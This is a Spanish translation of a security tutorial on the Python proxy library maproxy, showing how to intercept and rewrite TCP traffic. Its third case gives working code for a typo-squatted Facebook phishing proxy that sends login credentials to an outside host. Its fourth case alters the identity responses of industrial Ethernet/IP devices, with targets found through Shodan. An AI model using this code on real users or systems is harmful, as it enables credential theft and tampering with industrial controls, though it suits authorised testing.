La traducción del artículo ha sido preparada en la víspera del inicio del curso .

Resumen
Los diversos tipos de evaluación de seguridad, que van desde pruebas de penetración regulares y operaciones de Red Team hasta el hackeo de dispositivos IoT/ICS y SCADA, implican trabajar con protocolos de red binarios, es decir, en esencia, interceptar y modificar datos de red entre el cliente y el objetivo. El sniffing del tráfico de red no es una tarea complicada, ya que tenemos herramientas como Wireshark, Tcpdump o Scapy; sin embargo, la modificación se presenta como una tarea más ardua, ya que necesitamos una especie de interfaz para leer los datos de la red, filtrarlos, modificarlos en tiempo real y enviarlos de nuevo al host de destino casi en tiempo real. Además, sería ideal que dicha herramienta pudiera trabajar automáticamente con múltiples conexiones paralelas y tuviera capacidades de personalización a través de scripts.
Una vez descubrí una herramienta llamada , la documentación me hizo entender rápidamente que maproxy – es justo lo que necesito. Es un proxy TCP bastante simple, versátil y fácil de configurar. Probé esta herramienta en varias aplicaciones bastante complejas, incluidos los dispositivos ICS (que generan muchos paquetes), para averiguar si podía manejar numerosas conexiones paralelas, y la herramienta se desempeñó bien.
Este artículo te introducirá en el procesamiento de datos de red en tiempo real mediante maproxy.
Reseña
Herramienta maproxy basado en Tornado, un marco de red asincrónico popular y en desarrollo en Python.
En general, puede trabajar en varios modos:
TCP:TCP– conexiones TCP no encriptadas;TCP:SSLySSL:TCP– con cifrado unidireccional;SSL:SSL– cifrado bidireccional.
Se proporciona como una biblioteca. Para un inicio rápido, puedes usar ejemplos de archivos que reflejan las principales :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
Caso 1 – proxy bidireccional simple
Basado en tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() funciona hasta que se finalice manualmente. Por lo tanto, puede ser útil la opción ProxyServer() toma dos argumentos: la dirección de conexión y el puerto objetivo. server.listen() toma un argumento: el puerto para escuchar conexiones entrantes.
Ejecutando el script:
# python tcp2tcp.py Para llevar a cabo la prueba, nos vamos a conectar a un servidor SSH local a través de nuestro script proxy que escucha en 2222/tcp puerto y se conecta al puerto estándar 22/tcp Servidores SSH:

El banner de bienvenida informa que nuestro ejemplo de script ha proxyado con éxito el tráfico de red.
Caso 2 – modificación de datos
Otro script de demostración logging_proxy.py es perfecto para interactuar con datos de red. Los comentarios en el archivo describen los métodos de la clase que puedes modificar para alcanzar tu objetivo:

Lo más interesante aquí:
on_c2p_done_read– para interceptar datos en el camino del cliente al servidor;on_p2s_done_read– en la dirección opuesta.
Intentemos modificar el banner SSH que el servidor devuelve al cliente:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]Ejecuta el script:

Como puedes ver, el cliente fue engañado, ya que para él el nombre del servidor SSH fue reemplazado por «DumnySSH».

Caso 3 – página web de phishing simple
Hay una infinidad de usos para esta herramienta. Esta vez, centrémonos en algo más práctico en el ámbito de las operaciones de Red Team. Imitaremos la página de destino m.facebook.com y usaremos un dominio personalizado con un error tipográfico intencionado, como m.facebok.com. Para fines de demostración, simplemente supongamos que el dominio ha sido registrado por nosotros.
Vamos a establecer una conexión de red no cifrada con nuestro proxy de víctimas y el Stream SSL para el servidor de Facebook (31.13.81.36). Para que este ejemplo funcione, necesitamos reemplazar el encabezado HTTP-Host e inyectar el nombre de host correcto, y además, desactivaremos la compresión de respuestas para tener un acceso fácil a su contenido. Al final, reemplazaremos el formulario HTML para que las credenciales de inicio de sesión se envíen a nosotros en lugar de a los servidores de Facebook:
[…]
def on_c2p_done_read(self,data):
# reemplazar encabezado Host
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# desactivar compresión
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# reemplazo parcial de respuesta
data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]En resumen:

Como puedes ver, hemos podido reemplazar con éxito el sitio original.
Caso 4 – Alterando Ethernet/IP
He tratado con dispositivos y software industriales (ICS / SCADA) durante bastante tiempo, como controladores programables (PLC), módulos de entrada/salida, actuadores, relés, entornos de programación de escalera y mucho más. Este caso es para aquellos a quienes les gustan las cosas industriales. Hacks de tales soluciones implican un juego activo con protocolos de red. En el siguiente ejemplo, me gustaría mostrar cómo puede modificar el tráfico de red ICS/SCADA.
Para esto necesitarás lo siguiente:
- Un sniffer de red, como Wireshark;
- Un dispositivo Ethernet/IP o simplemente un dispositivo SIP, puedes encontrarlo usando el servicio Shodan;
- Nuestro script basado en
maproxy.
Primero, veamos cómo se ve una típica respuesta de identificación de CIP (Protocolo Industrial Común):

La identificación del dispositivo se realiza mediante el protocolo Ethernet/IP, que es una versión ampliada del protocolo Ethernet para fines industriales, envuelve protocolos de control como CIP. Vamos a cambiar el nombre de identificación dedicado, que se puede ver en la captura de pantalla «NI-IndComm for Ethernet» uso de nuestro script proxy. Podríamos reutilizar el script logging_proxy.py y modificar de manera similar el método de clase on_p2s_done_read, ya que queremos que el cliente vea un nombre de identificación diferente.
Código:
[…]
def on_p2s_done_read(self,data):
# reemplazo parcial de la respuesta
# Verificando si hemos recibido la respuesta del mensaje List Identity
if data[26:28] == b'x0cx00':
print('Respuesta recibida, reemplazando')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
En esencia, solicitamos la identificación del dispositivo dos veces, la segunda respuesta es la original, y la primera fue modificada sobre la marcha.
Y por último
En mi opinión maproxy es una herramienta conveniente y simple, que además está escrita en Python, por lo que creo que también puedes beneficiarte de su uso. Por supuesto, hay herramientas más complejas para el procesamiento y modificación de datos de red, sin embargo, requieren más atención y generalmente están diseñadas para un escenario de uso específico, como , o para casos similares al tercero, o para el último caso. De todos modos, con ayuda de maproxy podrás implementar rápidamente tus ideas para interceptar datos de red, ya que los ejemplos de scripts son muy ilustrativos.
Fuente: habr.com
